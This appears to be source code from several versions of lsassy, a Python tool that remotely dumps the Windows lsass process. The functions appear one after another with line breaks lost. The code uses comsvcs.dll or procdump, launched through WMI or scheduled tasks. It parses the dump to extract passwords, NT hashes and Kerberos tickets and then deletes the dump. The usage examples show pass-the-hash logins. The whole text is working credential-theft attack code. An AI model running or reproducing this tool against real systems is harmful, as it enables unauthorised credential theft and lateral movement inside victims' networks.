def dump(self): """ Dump lsass on remote host. Different methods can be used. If you chose to dump lsass using built-in comsvcs.dll method, you need SeDebugPrivilege. This privilege is either in Powershell admin context, or cmd.exe SYSTEM context. Two execution methods can be used. 1. WMIExec with cmd.exe (no SeDebugPrivilege) or powershell.exe (SeDebugPrivilege) 2. ScheduledTask which is SYSTEM context (SeDebugPrivilege). These constraints lead to different possibilities. By default, comsvcs.dll method will be used and will try Powershell with WMI, Powershell with scheduled task, and cmd.exe with scheduled task """ """ A "methodology can be described in an array of 3 elements: 1. 1st element : Dump method to use (dll, procdump) 2. Shell context to use (powershell, cmd) 3. List of remote execution methods (wmi, task) """ if self._method == "0": dump_methodologies = [["dll", "powershell", ("wmi", "task")], ["dll", "cmd", ("task", )], ["procdump", "cmd", ("wmi", "task")]] elif self._method == "1": dump_methodologies = [["dll", "powershell", ("wmi", "task")], ["dll", "cmd", ("task", )]] elif self._method == "2": dump_methodologies = [["procdump", "cmd", ("wmi", "task")]] elif self._method == "3": dump_methodologies = [["dll", "powershell", ("wmi", "task")]] elif self._method == "4": dump_methodologies = [["dll", "cmd", ("task", )]] else: self._log.error( "Method \"{}\" is not supported (0-4). See -h for help".format( self._method)) return False ifile = ImpacketFile(self._conn, self._log) for dump_methodology in dump_methodologies: dump_method, exec_shell, exec_methods = dump_methodology self._log.debug("Trying \"{}\" method".format(dump_method)) if dump_method == "dll": dumped = self.dll_dump(exec_methods, exec_shell) elif dump_method == "procdump": dumped = self.procdump_dump(exec_methods) else: self._log.error( "Incorrect dump method \"{}\". Currently supported : procdump, dll" .format(dump_method)) continue if dumped: """ If procdump failed, a dumpfile was created, and its content is "FAILED" Best guess is that lsass is protected in some way (PPL, AV, ...) """ try: ifile.open((self._share + self._tmp_dir + self._remote_lsass_dump).replace("\\", "/"), timeout=self._timeout) if ifile.size() < 100 and ifile.read(6).decode( 'utf-8') == "FAILED": self._log.error("lsass is protected") ifile.close() return False ifile.seek(0) return ifile except Exception as e: self._log.warn( "No dump file found with \"{}\" using \"{}\" exec method." .format(dump_method, exec_shell)) self._log.debug("Error : {}".format(str(e))) """ If no dump file was found, it means that procdump didn't crash, so it may take more time than expected. """ self._log.warn("Target could be slow. Try to increase --timeout value") return False
def run(self): """ Main method to dump credentials on a remote host """ session, file, dumper, method = None, None, None, None # Credential parsing username = self.args.username if self.args.username else "" password = self.args.password if self.args.password else "" lmhash, nthash = "", "" if not password and self.args.hashes: if ":" in self.args.hashes: lmhash, nthash = self.args.hashes.split(":") else: lmhash, nthash = 'aad3b435b51404eeaad3b435b51404ee', self.args.hashes # Exec methods parsing exec_methods = self.args.exec.split(",") if self.args.exec else None # Dump modules options parsing options = { v.split("=")[0]: v.split("=")[1] for v in self.args.options.split(",") } if self.args.options else {} # Dump path checks dump_path = self.args.dump_path if dump_path: dump_path = dump_path.replace('/', '\\') if len(dump_path) > 1 and dump_path[1] == ":": if dump_path[0] != "C": logging.error( "Drive '{}' is not supported. 'C' drive only.".format( dump_path[0])) return False dump_path = dump_path[2:] if dump_path[-1] != "\\": dump_path += "\\" parse_only = self.args.parse_only kerberos_dir = self.args.kerberos_dir if parse_only and (dump_path is None or self.args.dump_name is None): logging.error( "--dump-path and --dump-name required for --parse-only option") return False try: session = Session() session.get_session(address=self.target, target_ip=self.target, port=self.args.port, lmhash=lmhash, nthash=nthash, username=username, password=password, domain=self.args.domain, aesKey=self.args.aesKey, dc_ip=self.args.dc_ip, kerberos=self.args.kerberos, timeout=self.args.timeout) if session.smb_session is None: logging.error("Couldn't connect to remote host") return False if not parse_only: dumper = Dumper(session, self.args.timeout).load(self.args.dump_method) if dumper is None: logging.error("Unable to load dump module") return False file = dumper.dump(no_powershell=self.args.no_powershell, exec_methods=exec_methods, dump_path=dump_path, dump_name=self.args.dump_name, timeout=self.args.timeout, **options) if file is None: logging.error("Unable to dump lsass.") return False else: file = ImpacketFile(session).open(share="C$", path=dump_path, file=self.args.dump_name, timeout=self.args.timeout) if file is None: logging.error("Unable to open lsass dump.") return False credentials, tickets = Parser(file).parse() file.close() if not parse_only: ImpacketFile.delete(session, file.get_file_path(), timeout=self.args.timeout) logging.success("Lsass dump successfully deleted") else: logging.debug( "Not deleting lsass dump as --parse-only was provided") if credentials is None: logging.error( "Unable to extract credentials from lsass. Cleaning.") return False with lock: Writer(credentials, tickets).write(self.args.format, output_file=self.args.outfile, quiet=self.args.quiet, users_only=self.args.users, kerberos_dir=kerberos_dir) except KeyboardInterrupt: pass except Exception as e: logging.error("An unknown error has occurred.", exc_info=True) finally: logging.debug("Cleaning...") logging.debug("dumper: {}".format(dumper)) logging.debug("file: {}".format(file)) logging.debug("session: {}".format(session)) try: dumper.clean() logging.debug("Dumper cleaned") except Exception as e: logging.debug( "Potential issue while cleaning dumper: {}".format(str(e))) try: file.close() logging.debug("File closed") except Exception as e: logging.debug("Potential issue while closing file: {}".format( str(e))) if not parse_only: try: if ImpacketFile.delete(session, file_path=file.get_file_path(), timeout=self.args.timeout): logging.debug("Lsass dump successfully deleted") except Exception as e: try: logging.debug( "Couldn't delete lsass dump using file. Trying dump object..." ) if ImpacketFile.delete(session, file_path=dumper.dump_path + dumper.dump_name, timeout=self.args.timeout): logging.debug("Lsass dump successfully deleted") except Exception as e: logging.debug( "Potential issue while deleting lsass dump: {}". format(str(e))) try: session.smb_session.close() logging.debug("SMB session closed") except Exception as e: logging.debug( "Potential issue while closing SMB session: {}".format( str(e)))
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Try all methods ** lsassy -m 0 adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q [email protected] lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawTextHelpFormatter) group_dump = parser.add_argument_group('dump') group_dump.add_argument('-m', '--method', action='store', default="1", help='''Dumping method 0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails) 1: comsvcs.dll method, stop on success (default) 2: Procdump method, stop on success (Requires -p) 3: comsvcs.dll + Powershell method, stop on success 4: comsvcs.dll + cmd.exe method''') group_dump.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') group_dump.add_argument('-p', '--procdump', action='store', help='Procdump path') group_dump.add_argument( '--timeout', default="10", action='store', help='Timeout before considering lsass was not dumped successfully') group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true', help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument( '--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument( '-r', '--raw', action='store_true', help= 'No basic result filtering (Display host credentials and duplicates)') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) if isinstance(conn, RetCode): return_code = conn lsassy_exit(logger, return_code) return_code = conn.isadmin() if not return_code.success(): conn.close() lsassy_exit(logger, return_code) dumper = None ifile = None try: if not args.dumppath: dumper = Dumper(conn, args, logger) ifile = dumper.dump() if isinstance(ifile, RetCode): return_code = ifile else: logger.success("Process lsass.exe has been dumped") else: ifile = ImpacketFile(conn, logger).open(args.dumppath) if not isinstance(ifile, ImpacketFile): return_code = ifile if return_code.success(): dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) except KeyboardInterrupt as e: print("\nQuitting gracefully...") return_code = RetCode(ERROR_USER_INTERRUPTION) except Exception as e: return_code = RetCode(ERROR_UNDEFINED, e) pass finally: try: ifile.close() except Exception as e: pass if dumper is not None: dumper.clean() conn.close() lsassy_exit(logger, return_code)
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Try all methods ** lsassy -m 0 adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q [email protected] lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawTextHelpFormatter ) group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true',help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument('--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument('-m', '--method', action='store', default="1", help='''Dumping method 0: Try all methods to dump procdump, stop on success (Requires -p if dll method fails) 1: comsvcs.dll method, stop on success (default) 2: Procdump method, stop on success (Requires -p) 3: comsvcs.dll + Powershell method, stop on success 4: comsvcs.dll + cmd.exe method''') parser.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') parser.add_argument('-p', '--procdump', action='store', help='Procdump path') parser.add_argument('-r', '--raw', action='store_true', help='No basic result filtering') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(0) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) file_path = args.dumppath dumper = None if not args.dumppath: dumper = Dumper(conn, args, logger) file_path = dumper.dump() if not file_path: logger.error("lsass could not be dumped") exit() logger.success("Process lsass.exe is being dumped") ifile = ImpacketFile(logger) ifile.open(conn, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) if dumper is not None: dumper.clean() conn.close()
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -P /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy -p C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q -p C$/Windows/Temp/lsass.dmp [email protected] lsassy --hashes 952c28bd2fd728898411b301475009b7 [email protected] lsassy -d adsec.local/pixis:[email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter) group_auth = parser.add_argument_group('procdump (default DLL)') group_auth.add_argument('-p', '--procdump', action='store', help='procdump path') group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true', help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument( '--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument('-r', '--raw', action='store_true', help='Raw results without filtering') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(0) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) file_path = args.dumppath dumper = None if not args.dumppath: dumper = Dumper(conn, args, logger) if args.procdump: file_path = dumper.dump("procdump") else: file_path = dumper.dump("dll") if not file_path: exit() ifile = ImpacketFile(logger) ifile.open(conn, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) if dumper is not None: dumper.clean() conn.close()